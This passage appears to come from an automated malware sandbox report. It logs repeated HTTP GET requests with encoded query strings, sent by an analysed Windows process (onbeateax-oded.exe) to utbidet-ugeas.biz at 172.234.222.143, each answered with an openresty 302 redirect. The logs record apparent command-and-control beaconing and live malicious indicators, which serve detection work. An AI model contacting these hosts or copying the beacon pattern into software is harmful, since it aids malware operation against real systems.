Sep 7, 2024 15:29:34.404494047 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:33 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:29:34.404882908 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:33 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:29:34.405265093 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:33 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:29:34.405864000 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:33 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49732	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:36.426336050 CEST	169	OUT	GET /d/N?02C6FAE582C6FAE582F7FAC982C6FA471804DC7984C7FA252AC4FDD3ACF4D4DCB0F6CACB82 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:36.931972980 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:36 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C6FAE582C6FAE582F7FAC982C6FA471804DC7984C7FA252AC4FDD3ACF4D4DCB0F6CACB82 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49733	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:36.944524050 CEST	201	OUT	GET /d/N?02C6FAE582C6FAE582F7FAC982C6FA471804DC7984C7FA252AC4FDD3ACF4D4DCB0F6CACB82 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:37.453972101 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:37 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C6FAE582C6FAE582F7FAC982C6FA471804DC7984C7FA252AC4FDD3ACF4D4DCB0F6CACB82 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49735	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:37.613883972 CEST	169	OUT	GET /d/N?02B2DB5628B2DB562883DB7A28B2DBF4B270FDCA2EB3DB9680B0DC600680F56F1A82EB7828 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:38.092010021 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:38 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B2DB5628B2DB562883DB7A28B2DBF4B270FDCA2EB3DB9680B0DC600680F56F1A82EB7828 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49736	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:38.098031044 CEST	201	OUT	GET /d/N?02B2DB5628B2DB562883DB7A28B2DBF4B270FDCA2EB3DB9680B0DC600680F56F1A82EB7828 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:38.610559940 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:38 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B2DB5628B2DB562883DB7A28B2DBF4B270FDCA2EB3DB9680B0DC600680F56F1A82EB7828 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49738	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:39.395159960 CEST	169	OUT	GET /d/N?02A80F1563A80F1563990F3963A80FB7F96A298965A90FD5CBAA08234D9A212C51983F3B63 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:39.876562119 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:39 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02A80F1563A80F1563990F3963A80FB7F96A298965A90FD5CBAA08234D9A212C51983F3B63 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49739	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:39.892160892 CEST	201	OUT	GET /d/N?02A80F1563A80F1563990F3963A80FB7F96A298965A90FD5CBAA08234D9A212C51983F3B63 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:40.383346081 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:40 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02A80F1563A80F1563990F3963A80FB7F96A298965A90FD5CBAA08234D9A212C51983F3B63 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49741	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:41.207473993 CEST	169	OUT	GET /d/N?029CFCB2829CFCB282ADFC9E829CFC10185EDA2E849DFC722A9EFB84ACAED28BB0ACCC9C82 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:41.696346045 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:41 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029CFCB2829CFCB282ADFC9E829CFC10185EDA2E849DFC722A9EFB84ACAED28BB0ACCC9C82 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49742	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:41.702469110 CEST	201	OUT	GET /d/N?029CFCB2829CFCB282ADFC9E829CFC10185EDA2E849DFC722A9EFB84ACAED28BB0ACCC9C82 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:42.192594051 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:42 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029CFCB2829CFCB282ADFC9E829CFC10185EDA2E849DFC722A9EFB84ACAED28BB0ACCC9C82 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49744	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:42.638231039 CEST	169	OUT	GET /d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C76D HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:43.364311934 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:43 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C76D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49745	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:43.379220963 CEST	201	OUT	GET /d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C76D HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:43.883483887 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:43 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C76D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49747	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:44.035684109 CEST	169	OUT	GET /d/N?022E1237F22E1237F21F121BF22E129568EC34ABF42F12F75A2C1501DC1C3C0EC01E2219F2 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:44.536832094 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:44 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022E1237F22E1237F21F121BF22E129568EC34ABF42F12F75A2C1501DC1C3C0EC01E2219F2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49748	172.234.222.143	80

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:44.542503119 CEST	201	OUT	GET /d/N?022E1237F22E1237F21F121BF22E129568EC34ABF42F12F75A2C1501DC1C3C0EC01E2219F2 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:45.041253090 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:44 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022E1237F22E1237F21F121BF22E129568EC34ABF42F12F75A2C1501DC1C3C0EC01E2219F2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49750	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:49.591413021 CEST	169	OUT	GET /d/N?02B26BFB78B26BFB78836BD778B26B59E2704D677EB36B3BD0B06CCD568045C24A825BD578 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:50.077774048 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:50 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B26BFB78B26BFB78836BD778B26B59E2704D677EB36B3BD0B06CCD568045C24A825BD578 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49751	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
